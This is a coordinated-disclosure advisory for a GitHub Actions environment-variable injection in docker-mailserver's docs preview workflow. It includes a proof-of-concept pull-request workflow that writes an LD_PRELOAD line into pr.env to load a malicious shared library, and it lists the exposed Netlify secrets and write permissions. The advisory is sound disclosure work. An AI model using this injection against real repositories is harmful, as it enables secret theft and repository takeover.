Coordinated Disclosure Timeline

Summary

docker-mailserver docs-preview-deploy.yml workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.

Project

docker-mailserver

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in docs-preview-deploy.yml workflow. (GHSL-2024-255)

The docs-preview-deploy.yml workflow gets triggered when the Documentation (PR) workflow completes:

on:
  workflow_run:
    workflows: ['Documentation (PR)']
    types:
      - completed

Later, it downloads and extracts an artifact generated by the triggering workflow:

      - name: 'Download build artifact'
        uses: actions/download-artifact@v4
        with:
          name: preview-build
          github-token: ${{ secrets.GITHUB_TOKEN }}
          run-id: ${{ github.event.workflow_run.id }}

And reads pr.env into the runner’s Environment Variables:

      - name: 'Extract build artifact'
        run: tar -xf artifact.tar.zst

      - name: 'Restore preserved ENV'
        run: cat pr.env >> "${GITHUB_ENV}"

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable after the step completes. Since the contents of the pr.env may be controlled by an attacker, they will be able to inject any new Environment Variables in the runner.

An attacker can send a malicious inject.so and pr.env file with the following content as part of a pull request:

... expected variables ...
LD_PRELOAD=/home/runner/work/docker-mailserver/docker-mailserver/inject.so

Which will result in a new Environment Variables being defined:

In this example we are manipulating the LD_PRELOAD environment variable to force the system to load a malicious shared library called inject.so. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.

The following steps will run the node command and, therefore, the LD_PRELOAD will execute arbitrary code when node gets executed:

PoC

name: 'Documentation (PR)'

on:
  pull_request:

jobs:
  prepare-preview:
    name: 'Build Preview'
    runs-on: ubuntu-22.04
    steps:
      - name: 'Prepare artifact for transfer'
        run: |
          {
            echo "PR_HEADSHA=${{ github.event.pull_request.head.sha }}"
            echo "PR_NUMBER=${{ github.event.pull_request.number }}"
            echo "PR_TITLE=${{ github.event.pull_request.title }}"
            echo "NETLIFY_SITE_PREFIX=pullrequest-${{ github.event.pull_request.number }}"
            echo "BUILD_DIR=docs/site"
            echo "LD_PRELOAD=/home/runner/work/docker-mailserver/docker-mailserver/inject.so"
          } >> pr.env
          tar --zstd -cf artifact.tar.zst pr.env

      - name: 'Upload artifact for workflow transfer'
        uses: actions/upload-artifact@v4
        with:
          name: preview-build
          path: artifact.tar.zst
          retention-days: 1

Impact

This issue will grant a malicious actor full write permissions:

  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

In addition, the following secrets will get exposed to the attacker: secrets.NETLIFY_AUTH_TOKEN and secrets.NETLIFY_SITE_ID

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-255 in any communication regarding this issue.